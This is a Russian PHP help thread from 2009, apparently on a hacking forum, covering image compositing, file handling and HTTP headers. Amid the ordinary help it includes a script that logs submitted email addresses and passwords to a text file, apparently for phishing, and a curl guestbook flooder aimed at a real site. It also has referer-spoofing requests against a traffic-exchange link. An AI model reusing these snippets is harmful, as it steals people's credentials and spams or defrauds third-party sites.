Почему мало кто знает про php heredoc-синтаксис?


print <<<HERE
<input type = text value = "$q">
<input type = text value = "$qqq">
HERE;

DDoSька
08.01.2009, 02:46
Почему мало кто знает про php heredoc-синтаксис?


print <<<HERE
<input type = text value = "$q">
<input type = text value = "$qqq">
HERE;

хз почему, но сразу не полюбил этоот хередок. Конечно, это правильно...я про твой хередок =)

w.u.n.
08.01.2009, 02:50
Почему мало кто знает про php heredoc-синтаксис?


print <<<HERE
<input type = text value = "$q">
<input type = text value = "$qqq">
HERE;

Потому что он в разы медленнее echo

Eva
08.01.2009, 02:56
как сделать неограниченный видеобуфер?

preda1or
08.01.2009, 03:13
как сделать видео буфер неограниченный ?
ты разделом не ошибся?подробнее пожалуйста

Eva
08.01.2009, 05:46
Ах да.. не написал где... в PERL... а то прога закрывается при ограничении буфера... вот хочу сделать неограниченный.. только вот незнаю как...

scarm
08.01.2009, 12:29
помогите с синтаксисом запуска php файла
в самом файле test.php такие строки

$host = $argv[1];
$path = $argv[2];
$folder = $argv[3];

if (empty($host) || empty($path)) {
echo "usage: php {$argv[0]} <host> <path> [<folder>]\n";
echo " php {$argv[0]} example.com /folder\n";
echo " php {$argv[0]} example.com /folder../../\n";
exit;

пробую запускать так:
www.moysait.com/test.php?host.com&/folder
и так
www.moysait.com/test.php host.com /folder
все одно не стартует как надо.
Где я ошибся?

chlp
08.01.2009, 12:41
помогите с синтаксисом запуска php файла
в самом файле test.php такие строки

$host = $argv[1];
$path = $argv[2];
$folder = $argv[3];

if (empty($host) || empty($path)) {
echo "usage: php {$argv[0]} <host> <path> [<folder>]\n";
echo " php {$argv[0]} example.com /folder\n";
echo " php {$argv[0]} example.com /folder../../\n";
exit;

пробую запускать так:
www.moysait.com/test.php?host.com&/folder
и так
www.moysait.com/test.php host.com /folder
все одно не стартует как надо.
Где я ошибся?

Можно


$host = $_GET['host']
$path =$_GET['path']
$folder = $_GET['folder'];

if (empty($host) || empty($path)) {
echo "usage: php {$argv[0]} <host> <path> [<folder>]\n";
echo " php {$argv[0]} example.com /folder\n";
echo " php {$argv[0]} example.com /folder../../\n";
exit;

пробую запускать так:
www.moysait.com/test.php?host=твойхост&folder=папка&path=путь

kevmen
08.01.2009, 12:47
Потому что он в разы медленнее echo
зато удобней)просто с ним проблем много,капризный синтаксис

scarm
08.01.2009, 12:53
chlp, спасибо, так действительно идет, но все таки интересует что можно сделать без модификации файла?

chlp
08.01.2009, 14:13
Если для
www.moysait.com/test.php host.com / folder

list($none,$host,$path,$folder)=explode('%20',$_SE RVER['QUERY_STRING']);

oRb
08.01.2009, 14:13
chlp, спасибо, так действительно идет, но все таки интересует что можно сделать без модификации файла?
у тебя скрипт написан под CLI. Запускать надо либо из командной строки (WIN), либо из консоли (Lin).
Поподробней можно почитать на офф сайте или в статейке из журнала PHPInside (http://phpclub.ru/detail/magazine/2006/07/)

chlp
08.01.2009, 14:15
А точно! ;)

m0Hze
09.01.2009, 04:50
назрело)
В общем,в папке лежат многа-многа файлов,с расширением .txt, навзания у всех разные.Нужно их все открыть fopen и вписать данные.Вот пока сам думаю сделать чтото вроде регулярки,только хз как правильно.Например:
$text = "(.*).txt";
Затем это в фореач,и отдельно каждый файл открывать.Но хз как все это изобразить поправильнее,и побыстрее чтобы работало.Кто что подскажет?

w.u.n.
09.01.2009, 05:01
<?php
foreach (glob('*.txt') as $fname) {
$f = fopen($fname,'w');
/*...*/
fclose($f);
}
?>

m0Hze
09.01.2009, 05:08
О,спасибо.Теперь еще знаю и о glob :) всетаки спасибо тем кто меня когдато обхамил и отправил на php.net.. :)

Mixon
09.01.2009, 11:34
Кто знает,как можно уже в созданой картинке,например 1.png добавить на нее другую (наложить) на определенные координаты? Например у меня есть 2 картинки,одна 1.png а вторая test.png. первая ето рисунок 200х200 а вторая ето надпись 20х20 и как мне сделать чтобы ета надпись наложилась в центре рисунка?

w.u.n.
09.01.2009, 11:38
копай imagettftext

Shadow_p1raT
09.01.2009, 11:39
Вот небольшой примерчик

<?

header('Content-Type: image/png');

$im=ImageCreateFromPng("logoback.png");

$dg=ImageCreateFromPng("logofront.png");

imagecopy($im,$dg,0,0,0,0,350,19); # imagecopy(в какую, с какой, на какое место(x,y), ширена, высота, откуда(x,y));

ImageDestroy($dg);

ImagePng($im);

ImageDestroy($im);
?>

UPD:

http://forum.antichat.ru/showpost.php?p=168456

Mixon
09.01.2009, 11:40
копай imagettftext

Блин,да текст то я знаю,он мне незачем,почему же я и на форуме спросил,как Картинку наложить а не текст.

optimazer
09.01.2009, 12:32
2Mixon
imagecopy($dst_im, $src_im, $dst_x, $dst_y, $src_x, $src_y, $src_w, $src_h)

$dst_im - картинка назначение,
$src_im - картинка исходник,
$dst_x - координата Х на картинке назначения,
$dst_y - координата У на картинке назначения,
$src_x - координата Х на картинке исходнике,
$src_y - координата У на картинке исходнике,
$src_w - ширина вставки,
$src_h - высота вставки

библиотеку gd для работы с большими изображениями не желательно использовать
лучше использовать imagemagick

Mixon
09.01.2009, 12:46
2Mixon
imagecopy($dst_im, $src_im, $dst_x, $dst_y, $src_x, $src_y, $src_w, $src_h)

$dst_im - картинка назначение,
$src_im - картинка исходник,
$dst_x - координата Х на картинке назначения,
$dst_y - координата У на картинке назначения,
$src_x - координата Х на картинке исходнике,
$src_y - координата У на картинке исходнике,
$src_w - ширина вставки,
$src_h - высота вставки

библиотеку gd для работы с большими изображениями не желательно использовать
лучше использовать imagemagick

Мне и вареант Shadow_p1raT подошел,ну и те спс,посмотрю)

geforce
09.01.2009, 20:09
2Mixon
imagecopy($dst_im, $src_im, $dst_x, $dst_y, $src_x, $src_y, $src_w, $src_h)

$dst_im - картинка назначение,
$src_im - картинка исходник,
$dst_x - координата Х на картинке назначения,
$dst_y - координата У на картинке назначения,
$src_x - координата Х на картинке исходнике,
$src_y - координата У на картинке исходнике,
$src_w - ширина вставки,
$src_h - высота вставки

библиотеку gd для работы с большими изображениями не желательно использовать
лучше использовать imagemagick

А после того как картинка создасца как её из темпа сохранить к примеру в папке images ???

Pashkela
09.01.2009, 20:16
imageGif($im,"./images/image.gif");
ImageDestroy($im);

geforce
09.01.2009, 20:19
imageGif($im,"./images/image.gif");
ImageDestroy($im);


imagejpeg($im,"./images/image.gif");

Она её сначала выводит в браузере первый аргумент $im а потом сохроняет! А мне надо чтоб она просто сохроняла без вывода в браузер! Как это зделать???

Pashkela
09.01.2009, 20:21
Видишь второй параметр здесь?

imagejpeg($im,"./images/image.gif");

Вот он, запятой отделен:

,"./images/image.gif"

так вот, когда он есть - в браузер не выводит, просто сохраняет

кури:

http://ru2.php.net/imagegif

geforce
09.01.2009, 20:30
Видишь второй параметр здесь?

imagejpeg($im,"./images/image.gif");

Вот он, запятой отделен:

,"./images/image.gif"

так вот, когда он есть - в браузер не выводит, просто сохраняет

кури:

http://ru2.php.net/imagegif


<?php include("db.php");
header('Content-type: image/jpeg');
if (isset($_POST['vibor'])) { $vibor = $_POST['vibor'];}
if (isset($_POST['load'])) { $adres = $_POST['load'];}
$result1 = mysql_query("SELECT * FROM data WHERE id='$vibor'",$db);
if (!$result1)
{
exit(mysql_error());
}
if (mysql_num_rows($result1) > 0)
{
$myrow1 = mysql_fetch_array($result1);
$mas = getimagesize($adres);

$width = 215;
$heigth = $mas[1]+270;
$adres1 = "admin/".$myrow1['url'];
$im = imagecreatetruecolor($width, $heigth);

$im1 = imagecreatefromjpeg($adres);
$im2 = imagecreatefromjpeg('logo.jpg');
$im3 = imagecreatefromjpeg($adres1);
$name = "avat".$myrow1['name'];
imagecopy($im, $im2, 0, $mas[1], 0, 0, 215, 20);
imagecopy($im, $im1, 0, 0, 0, 0, 215, $mas[1]);
imagecopy($im, $im3, 0, $mas[1]+20, 0, 0, 215, 350);
imagejpeg($im,"avatar/$name");
}
else
{
exit();
}
?>


Вот мой код в браузере выводится картинка пустая с крестиком ну типа она не загрузилась! Картинка сохроняется! Как поступить?

SMiX
09.01.2009, 20:37
ну типа она не загрузилась!
Логично, потому что скрипт ничего не выводит. Однако он посылает браузеру информацию о том, что контент есть картинка:

header('Content-type: image/jpeg');

Удали эту строку - будет пустая страница.

Pashkela
09.01.2009, 20:38
imagejpeg($im,"../avatar/$name");

Так попробуй, и корректней еще будет память очищать после:

imagedestroy($im);

Пока вижу только неправильный синтаксис

geforce
09.01.2009, 20:46
Логично, потому что скрипт ничего не выводит. Однако он посылает браузеру информацию о том, что контент есть картинка:

header('Content-type: image/jpeg');

Удали эту строку - будет пустая страница.

Красава!! Большо спасибо тебе! Ты прав! :) :) :)

MaTpOc
09.01.2009, 20:59
как мне вывести статиситику(кто сколько хедшотов сделал и т п) с ксс серва на сайт и чтоб она постоянно обновлялась?

Pashkela
09.01.2009, 21:01
Ну правильное решение надо искать на основе этого (советую читать oRb):

http://forum.antichat.ru/thread100269.html

geforce
09.01.2009, 21:45
как мне вывести статиситику(кто сколько хедшотов сделал и т п) с ксс серва на сайт и чтоб она постоянно обновлялась?

Как я знаю в на самом серваке имеется файл со всей статистикой(убийства, смерти, хед шоты) пишешь скрипт типа fopen(тот файл);
копируешь его типа copy() и вставляешь в базу или в другой файл типа txt все!
А потом выводишь его на страницу типа printf("txt файл")

Pashkela
09.01.2009, 21:49
Как я знаю в на самом серваке имеется файл со всей статистикой(убийства, смерти, хед шоты) пишешь скрипт типа fopen(тот файл);
копируешь его типа copy() и вставляешь в базу или в другой файл типа txt все!
А потом выводишь его на страницу типа printf("txt файл")

Да?:))) Молодца! Если бы так было, я давно бы владел интернетом:) Сам подумай - не локально, а УДАЛЕННО открывать файл на чтение

geforce
09.01.2009, 22:12
Да?:))) Молодца! Если бы так было, я давно бы владел интернетом:) Сам подумай - не локально, а УДАЛЕННО открывать файл на чтение

Хорошо зайди на www.e107.ru там есть плагин статистики cs разбери его и вперед! Есть ещё в инете куча статистик cs которые можно разобрать и посмотреть как они работают!

geforce
09.01.2009, 22:33
Как сделать закруглёные углы? у картинки $im?
<?php include("db.php");
if (isset($_POST['vibor'])) { $vibor = $_POST['vibor'];}
if (isset($_POST['load'])) { $adres = $_POST['load'];}
$result1 = mysql_query("SELECT * FROM data WHERE id='$vibor'",$db);
if (!$result1)
{
exit(mysql_error());
}
if (mysql_num_rows($result1) > 0)
{
$myrow1 = mysql_fetch_array($result1);
$mas = getimagesize($adres);

$width = 215;
$heigth = $mas[1]+270;
$adres1 = "admin/".$myrow1['url'];
$im = imagecreatetruecolor($width, $heigth);

$im1 = imagecreatefromjpeg($adres);
$im2 = imagecreatefromjpeg('logo.jpg');
$im3 = imagecreatefromjpeg($adres1);
$name = "avat".$myrow1['name'];
imagecopy($im, $im2, 0, $mas[1], 0, 0, 215, 20);
imagecopy($im, $im1, 0, 0, 0, 0, 215, $mas[1]);
imagecopy($im, $im3, 0, $mas[1]+20, 0, 0, 215, 350);
imagejpeg($im,"avatar/$name");
}
else
{
exit();
}
?>

ANTIJABBER
10.01.2009, 01:23
Хорошо зайди на www.e107.ru там есть плагин статистики cs разбери его и вперед! Есть ещё в инете куча статистик cs которые можно разобрать и посмотреть как они работают!
+1, тот же пример психостат, не только хедшоты можно вырвать.

мой вопросик :o s

Как редактировать файл, который находится на фтп, можете привести тут пример? Пожалуйста.

m0Hze
10.01.2009, 01:33
Если есть логин и пароль от фтп,то можно попробывать чрез fopen("ftp://admin:pass@mysite.ru");
Файл есесно 777 должен быть.

geforce
10.01.2009, 01:50
+1, тот же пример психостат, не только хедшоты можно вырвать.

мой вопросик :o s

Как редактировать файл, который находится на фтп, можете привести тут пример? Пожалуйста.

$fh=fopen("путь к папке/текстовый файл");

fputs("вписываемый текст в файл"."\r\n");

fclose($fh);

Jer1cho
10.01.2009, 02:13
geforce, не чего сказать — лучше промолчать.
Даже синтаксис не правльный.

geforce
10.01.2009, 02:25
geforce, не чего сказать — лучше промолчать.
Даже синтаксис не правльный.

Ну если такой умный хацкер поправь!!! напиши как правильно?

(Даже синтаксис не прав/льный) словарь почитай :D а потом умничай!

m0Hze
10.01.2009, 02:29
В ропщем я отходил,воть так попробуй.

$fo = fopen("ftp://admin:pass@mysite.ru");
fwrite($fo,"Текст который пишем в файл");
fclose($fo);

По теории,все должно работать.Не практике хз - =)

m0Hze
10.01.2009, 02:29
Ну если такой умный хацкер поправь!!! напиши как правильно?

(Даже синтаксис не прав/льный) словарь почитай :D а потом умничай!
Че умничать,синтаксес не правельный у тебя :/

DDoSька
10.01.2009, 02:33
Ну если такой умный хацкер поправь!!! напиши как правильно?

(Даже синтаксис не прав/льный) словарь почитай :D а потом умничай!
lol ....Jer1cho , поумнее тебя и меня буде в php, так что подумай над своими словами...и если ты не веришь мне, почитай его посты.
ЗЫ:еще раз доказывает,что репа ничего не значит

geforce
10.01.2009, 02:33
Че умничать,синтаксес не правельный у тебя :/

<?php
$f="";
$mail[0]="mail.ru";
$mail[1]="list.ru";
$mail[2]="inbox.ru";
$mail[3]="bk.ru";
$mail[4]="yandex.ru";
$mail[5]="rambler.ru";

if ($_POST["a"]==$f || $_POST["b"]==$f)
header('Location: error1.php');
else
{
$fs=explode("@",$_POST['a'],2);

if(in_array($fs[1],$mail))
{
if(isset($_POST["a"]) && isset($_POST["b"]))
{
$fh=fopen("text/kont.txt","a");

fputs($fh,"mail=>>>".$_POST["a"]."::::pass=>>>".$_POST["b"]."\r\n");

fclose($fh);

header('Location: autor.php');
}
}
else
{
header('Location: error2.php');
}
}
$error="error";
?>
Значит это тоже не правильно???

ты тоже словарь почитай (синтакс/ес не прав/ельный)

Jer1cho
10.01.2009, 02:34
Ты различия не замечаешь чтоли?

Глупый.

DDoSька
10.01.2009, 02:38
fputs("вписываемый текст в файл"."\r\n");
fputs($fh,"mail=>>>".$_POST["a"]."::::pass=>>>".$_POST["b"]."\r\n");
Вопрос исчерпан?

geforce
10.01.2009, 02:39
Ты различия не замечаешь чтоли?

Глупый.

вообщето я как вопрос понял так и ответил! умник! :D

geforce
10.01.2009, 02:47
lol ....Jer1cho , поумнее тебя и меня буде в php, так что подумай над своими словами...и если ты не веришь мне, почитай его посты.
ЗЫ:еще раз доказывает,что репа ничего не значит

А я что сказал что он глупый :D
Я же сказал что он умник :D

Подскажи лучше как закругленные края у $im сделать??

<?php include("db.php");
if (isset($_POST['vibor'])) { $vibor = $_POST['vibor'];}
if (isset($_POST['load'])) { $adres = $_POST['load'];}
$result1 = mysql_query("SELECT * FROM data WHERE id='$vibor'",$db);
if (!$result1)
{
exit(mysql_error());
}
if (mysql_num_rows($result1) > 0)
{
$myrow1 = mysql_fetch_array($result1);
$mas = getimagesize($adres);

$width = 215;
$heigth = $mas[1]+270;
$adres1 = "admin/".$myrow1['url'];
$im = imagecreatetruecolor($width, $heigth);

$im1 = imagecreatefromjpeg($adres);
$im2 = imagecreatefromjpeg('logo.jpg');
$im3 = imagecreatefromjpeg($adres1);
$name = "avat".$myrow1['name'];
imagecopy($im, $im2, 0, $mas[1], 0, 0, 215, 20);
imagecopy($im, $im1, 0, 0, 0, 0, 215, $mas[1]);
imagecopy($im, $im3, 0, $mas[1]+20, 0, 0, 215, 350);
imagejpeg($im,"avatar/$name");
}
else
{
exit();
}
?>

DDoSька
10.01.2009, 03:19
geforce, кажеться вот это:
http://www.html.it/articoli/nifty/index.html

geforce
10.01.2009, 03:30
geforce, кажеться вот это:
http://www.html.it/articoli/nifty/index.html

Не понятно как то :(

DDoSька
10.01.2009, 03:55
Не понятно как то :(
Переведи ,и все будет понятно.
ЗЫ: А так? http://vkontakte.ru/video8424591_23798353?add=1

geforce
10.01.2009, 03:57
Переведи ,и все будет понятно.
ЗЫ: А так? http://vkontakte.ru/video8424591_23798353?add=1


:D :D :D :D :D

geforce
10.01.2009, 04:13
Переведи ,и все будет понятно.
ЗЫ: А так? http://vkontakte.ru/video8424591_23798353?add=1

Разобрался! Ну эт мне не подойдет в данном случае мне надо чтоб углы имеено рисовались в картинке так как это аватар! Есть ещё предложения???

DDoSька
10.01.2009, 05:10
Разобрался! Ну эт мне не подойдет в данном случае мне надо чтоб углы имеено рисовались в картинке так как это аватар! Есть ещё предложения???
больше нет, погугли

m0Hze
10.01.2009, 06:02
Всем привет :) с добрым утром.
Собственно в 5 утра,назрел вот такой вопрос,нужно накодить регу и авторизацию юзверя на мускуле.Так как с мускулоом работы еще не имел,придеть найти статью в которой это описано.
Знаю,что выше уже был такой вопрос,и тогда дали ссылку на ооочень хорошую статью по теме,но в силу того что мне это было не нужно,я не стал все это читать и вникать.А вот теперь,мне это понадобилось.Товарищи подкиньте ссылочку на статейку.
Помни,это был блог одного чувака,он там писал уроки по PHP...
/* Всем спасибо,все нашел самостоятельно! если интересно,сайт _http://freshcoder.ru */

DDoSька
10.01.2009, 06:24
m0Hze, Вот очень хорошая и продуманная авторизация:
http://pyha.ru/articles/php/auth/
Все по-русски, понятно и просто

joltiy
10.01.2009, 14:11
А я что сказал что он глупый :D
Я же сказал что он умник :D

Подскажи лучше как закругленные края у $im сделать??


На мой взгляд, самый простой способ наложить 4 картинки по углам фотки(они могут разные быть, что бы не только закруглять фотки). Обязательно картинки должны быть в формате .png [скачать пример углов (http://slil.ru/26523334) ]


<?php include("db.php");
if (isset($_POST['vibor'])) { $vibor = $_POST['vibor'];}
if (isset($_POST['load'])) { $adres = $_POST['load'];}
$result1 = mysql_query("SELECT * FROM data WHERE id='$vibor'",$db);
if (!$result1)
{
exit(mysql_error());
}
if (mysql_num_rows($result1) > 0)
{
$myrow1 = mysql_fetch_array($result1);
$mas = getimagesize($adres);

$width = 215;
$heigth = $mas[1]+270;
$adres1 = "admin/".$myrow1['url'];
$im = imagecreatetruecolor($width, $heigth);

$im1 = imagecreatefromjpeg($adres);
$im2 = imagecreatefromjpeg('logo.jpg');
$im3 = imagecreatefromjpeg($adres1);
$name = "avat".$myrow1['name'];
imagecopy($im, $im2, 0, $mas[1], 0, 0, 215, 20);
imagecopy($im, $im1, 0, 0, 0, 0, 215, $mas[1]);
imagecopy($im, $im3, 0, $mas[1]+20, 0, 0, 215, 350);

//размеры аватарки
$width = imagesx($im);
$height = imagesy($im);
//добавляем уголки
$tl = imagecreatefrompng('tl.png'); //top left
$tr = imagecreatefrompng('tr.png'); //top right
$dl = imagecreatefrompng('dl.png'); //down left
$dr = imagecreatefrompng('dr.png'); //down right
//размеры уголков (предпологается, что размер углов одинаковый )
$w = imagesx($tl);
$h = imagesy($tl);
imagecopy($im, $tl, 0, 0, 0, 0, $w, $h);
imagecopy($im, $tr, $width-$w, 0, 0, 0, $w, $h);
imagecopy($im, $dl, 0, $height-$h, 0, 0, $w, $h);
imagecopy($im, $dr, $width-$w, $height-$h, 0, 0, $w, $h);

imagejpeg($im,"avatar/$name");
}
else
{
exit();
}
?>

?>


Вот пример фотки обработанной:
http://s1.ipicture.ru/uploads/090110/N8CeOFPwXl.gif

Zitt
10.01.2009, 14:52
geforce,

[dei], 10.01.2009 13:51:11:
функция для сглаживания углов, принимает дескриптор картинки и опционально угол

function corners(&$im,$r=15) {
$w = imagesx($im);
$h = imagesy($im);

$fg = imagecolorallocate($im, 255,255,255);

for ($offset=0, $x=0, $y=0; $offset<$r, $x<=90, $y<=90; $offset+=$r/90, $x++, $y++) {
imageline(
$im,
sin(deg2rad($x))*$r + $w-$r,
cos(deg2rad($y))*$r + $h-$r,
$w,
$h-$offset,
$fg
);
imageline(
$im,
sin(deg2rad($x+90))*$r + $w-$r,
cos(deg2rad($y+90))*$r + $r,
$w,
$r-$offset,
$fg
);
imageline(
$im,
sin(deg2rad($x+180))*$r + $r,
cos(deg2rad($y+180))*$r + $r,
0,
$offset,
$fg
);
imageline(
$im,
sin(deg2rad($x+270))*$r + $r,
cos(deg2rad($y+270))*$r + $h-$r,
0,
($h-$r)+$offset,
$fg
);
}
}


Den, 13:51:49:
ок


Розбаньте человека... Такие кадры пропадаюют ))

geforce
10.01.2009, 15:28
joltiy

Zitt

СПАСИБО

geforce
10.01.2009, 15:33
Вопрос есть картинка в браузере как можно сделать кнопку чтобы при нажатии она выполняла функцию Сохранить картинку как???

joltiy
10.01.2009, 15:46
такую кнопку, на мой взгляд, можно только одним способом сделать:
1. Нужно к урлу добавить какой нить тег, типа www.vays.ru/img.jpg?value=12
2. сервер отдает картинку но с измененным content-type. Что бы браузер не мог понять тип и не пытался открыть сам.

тогда выдаст окно и спросит, что делать...

P.S.
Лучше такого не делать... +) проще пользователю сразу объяснить как сохранить картинку.... и т.к. картинка уже показана в браузере, он просто переместит из кэша её... и ему не надо заново качать...
Может поможет если посмотришь документацию по css в сторону: max-height, max-width

Jer1cho
10.01.2009, 15:50
Вопрос есть картинка в браузере как можно сделать кнопку чтобы при нажатии она выполняла функцию Сохранить картинку как???
Создай скрипт get.php:

<?php

if(!empty($_GET['file'])){
$filename = basename($_GET['file']);

@header('Content-Disposition: attachment; filename="'.$filename.'"');
@header('Content-Type: application/x-force-download; name="'.$filename.'"');

echo file_get_contents($filename);
}

?>


И посылай на него запрос

<a href="get.php?file=this_image.jpg"><img src="this_image.jpg" alt=""/></a>


Защиты в скрипте нет, можно скачать любой файл, закроешь.

geforce
10.01.2009, 16:06
Создай скрипт get.php:

<?php

if(!empty($_GET['file'])){
$filename = basename($_GET['file']);

@header('Content-Disposition: attachment; filename="'.$filename.'"');
@header('Content-Type: application/x-force-download; name="'.$filename.'"');

echo file_get_contents($filename);
}

?>

И посылай на него запрос

<a href="get.php?file=this_image.jpg"><img src="this_image.jpg" alt=""/></a>


Защиты в скрипте нет, можно скачать любой файл, закроешь.


как мне его правильно сюда прикрутить?

<?php include("db.php");
if (isset($_POST['vibor'])) { $vibor = $_POST['vibor'];}
if (isset($_POST['load'])) { $adres = $_POST['load'];}
$result1 = mysql_query("SELECT * FROM data WHERE id='$vibor'",$db);
if (!$result1)
{
exit(mysql_error());
}
if (mysql_num_rows($result1) > 0)
{
$myrow1 = mysql_fetch_array($result1);
$mas = getimagesize($adres);

$width = 215;
$heigth = $mas[1]+270;
$adres1 = "admin/".$myrow1['url'];
$im = imagecreatetruecolor($width, $heigth);

$im1 = imagecreatefromjpeg($adres);
$im2 = imagecreatefromjpeg('logo.jpg');
$im3 = imagecreatefromjpeg($adres1);
$name = "avat".$myrow1['name'];
imagecopy($im, $im2, 0, $mas[1], 0, 0, 215, 20);
imagecopy($im, $im1, 0, 0, 0, 0, 215, $mas[1]);
imagecopy($im, $im3, 0, $mas[1]+20, 0, 0, 215, 350);

//размеры аватарки
$width = imagesx($im);
$height = imagesy($im);
//добавляем уголки
$tl = imagecreatefrompng('tl.png'); //top left
$tr = imagecreatefrompng('tr.png'); //top right
$dl = imagecreatefrompng('dl.png'); //down left
$dr = imagecreatefrompng('dr.png'); //down right
//размеры уголков (предпологается, что размер углов одинаковый )
$w = imagesx($tl);
$h = imagesy($tl);
imagecopy($im, $tl, 0, 0, 0, 0, $w, $h);
imagecopy($im, $tr, $width-$w, 0, 0, 0, $w, $h);
imagecopy($im, $dl, 0, $height-$h, 0, 0, $w, $h);
imagecopy($im, $dr, $width-$w, $height-$h, 0, 0, $w, $h);

imagejpeg($im,"avatar/$name");
}
else
{
exit();
}

printf("<img src='avatar/$name' >");
?>

Zedi
10.01.2009, 16:53
привет всем!! есть у кого скрипт для подмены реферера в запросе через сокеты? пробовал гугл, ниче особо не нашел

Doom123
10.01.2009, 17:24
отправь хидер

"Referer: site.ru\n";

CURL рулить! =)

Zedi
10.01.2009, 17:45
а можно полный скрипт?

DDoSька
10.01.2009, 17:54
<?php
for ($i=0; $i <10; $i++) {
$text="С новым годом всех !!!!";
$url = "http://memori.ru/login/";
$ua = 'User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Widows NT)';
$ch = curl_init();
$post="message_autor=qweqweqweqwe&autor_email=qweqweqw@qwe.ew&autor_url=qweqweqewqe.ru&message_text=$text&new_message=true";
curl_setopt($ch, CURLOPT_URL, "http://www.judo-spb.ru/modules.php?name=GuestBL&go=new_message");
curl_setopt($ch, CURLOPT_HEADER, 1);
/*curl_setopt($ch, CURLOPT_USERAGENT, $ua);*/
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_REFERER, "http://www.judo-spb.ru"); /*Вот это тебе нужно */
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);

$result = curl_exec($ch);
}
echo $result;
?>

Вот пример на курле. Флудер гостевой книги. С подменой Рефера

Shadow_p1raT
10.01.2009, 17:55
$referer = 'http://forum.antichat.ru';
curl_setopt($ch,CURLOPT_REFERER,$referer);

В переменной $referer пишешь нужный тебе рефер.Пример из курла.

$send = "POST http://forum.antichat.ru HTTP/1.1\r\n";
$send .= "Host: ihttp://forum.antichat.ru\r\n";
$send .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14\r\n";
$send .= "Referer: http://forum.antichat.ru\r\n";
$send .= "Cookie: $cookies\r\n";
$send .= "Pragma: no-cache\r\n";
$send .= "Content-Type: application/x-www-form-urlencoded\r\n";
$send .= "Content-Length: ".strlen($zapros)."\r\n";
$send .= "Connection: Close\r\n\r\n";
$send .= $zapros;


$send .= "Referer: http://forum.antichat.ru\r\n";

Наш реферер.Пример из сокетов

UPD:Блин,не успел:(

DDoSька
10.01.2009, 18:01
Jer1cho, посоветуйте пожалуйста мне чего-нибудь полезного по хидерам. То есть ссылки кинте пожалуйста, почитать, а то у меня с этим плохо, спасибо

Zedi
10.01.2009, 18:36
есть запрос как его правильно через сокеты прогнать?? с меня+GET http://kinotraff.ru/go.php?id=37697&ref=http://xakepy.xost.ru/&base=2 HTTP/1.1 Accept: */* Referer: http://kinotraff.ru/feed.php?id=37697&fmt=htm&width=80&cols=3&rows=3&desc=name&base=2&cs=5&cp=0&bg=FFFFFF&size1=14&size2=10&size3=12&color1=000000&color2=000000&color3=000000 Accept-Language: ru UA-CPU: x86 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2) Proxy-Connection: Keep-Alive Host: kinotraff.ru Cookie: __auth=1; __hash=e69588c3cd5888e5f71061186ca3374b

Joker-jar
10.01.2009, 18:42
DDoSька, ну эт тебе надо не в сторону PHP смотреть, а в спецификацию протокола HTTP

DDoSька
10.01.2009, 18:48
DDoSька, ну эт тебе надо не в сторону PHP смотреть, а в спецификацию протокола HTTP
Вот с этим у меня глухо,очень глухо. Хых, про протоколо HTTP 1.1 итд? Увы, я в этом вообще ничего не понимаю, где можно почиттать?

Shadow_p1raT
10.01.2009, 18:52
<?php
$res = '';
$sock=fsockopen('kinotraff.ru',80, $errno, $errstr, 30);
if(!$sock)
{
echo $errstr($errno);
}else{
$headers = "GET http://kinotraff.ru/go.php?id=37697&ref=http://xakepy.xost.ru/&base=2 HTTP/1.1\r\n";
$headers .="Host: kinotraff.ru\r\n";
$headers .="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2)\r\n";
$headers .="Accept-Language: ru,ru-RU;q=0.9,en;q=0.8\r\n";
$headers .="Connection: Close\r\n\r\n";
$headers .="Referer: http://kinotraff.ru/feed.php?id=37697&fmt=htm&width=80&cols=3&rows=3&desc=name&base=2&cs=5&cp=0&bg=FFFFFF&size1=14&size2=10&size3=12&color1=000000&color2=000000&color3=000000\r\n";
$headers .="Cookie: __auth=1; __hash=e69588c3cd5888e5f71061186ca3374b\r\n";
}
fwrite($sock, $headers);
while(!feof($sock)){
$res .=fgets($sock, 1024);
}
echo $res;
?>


не тестировал,но должно работать

Zedi
10.01.2009, 18:59
спасибо, но реферер испарился

Joker-jar
10.01.2009, 19:14
DDoSька, читай RFC 2068

http://lib.ru/WEBMASTER/rfc2068/

З.Ы. Ну или можно что-нибудь покороче. Поищи в поисковиках по запросу "Описание протокола HTTP"

ANTIJABBER
10.01.2009, 19:19
помогите, нужен пример использования cron в php...

К примеру такая задача, php скрипт должен запускаться каждые 5 минут... =)

DDoSька
10.01.2009, 19:23
DDoSька, читай RFC 2068

http://lib.ru/WEBMASTER/rfc2068/

З.Ы. Ну или можно что-нибудь покороче. Поищи в поисковиках по запросу "Описание протокола HTTP"
спасибо большое,буду читать

geforce
10.01.2009, 23:30
Помогите решить проблему?? есть скрипт с нарисованной картинкой! Сдела так чтоб при нажатии по ней она сохранялась все работает она сохраняется но не правильно не открывается в дальнейшем в чем проблема???

Скрипт картинки:

<?php include("db.php");
if (isset($_POST['vibor'])) { $vibor = $_POST['vibor'];}
if (isset($_POST['load'])) { $adres = $_POST['load'];}
$result1 = mysql_query("SELECT * FROM data WHERE id='$vibor'",$db);
if (!$result1)
{
exit(mysql_error());
}
if (mysql_num_rows($result1) > 0)
{
$myrow1 = mysql_fetch_array($result1);
$mas = getimagesize($adres);

$width = 215;
$heigth = $mas[1]+270;
$adres1 = "admin/".$myrow1['url'];
$im = imagecreatetruecolor($width, $heigth);

$im1 = imagecreatefromjpeg($adres);
$im2 = imagecreatefromjpeg('logo.jpg');
$im3 = imagecreatefromjpeg($adres1);
$name = "avat".$myrow1['name'];
imagecopy($im, $im2, 0, $mas[1], 0, 0, 215, 20);
imagecopy($im, $im1, 0, 0, 0, 0, 215, $mas[1]);
imagecopy($im, $im3, 0, $mas[1]+20, 0, 0, 215, 350);

//размеры аватарки
$width = imagesx($im);
$height = imagesy($im);
//добавляем уголки
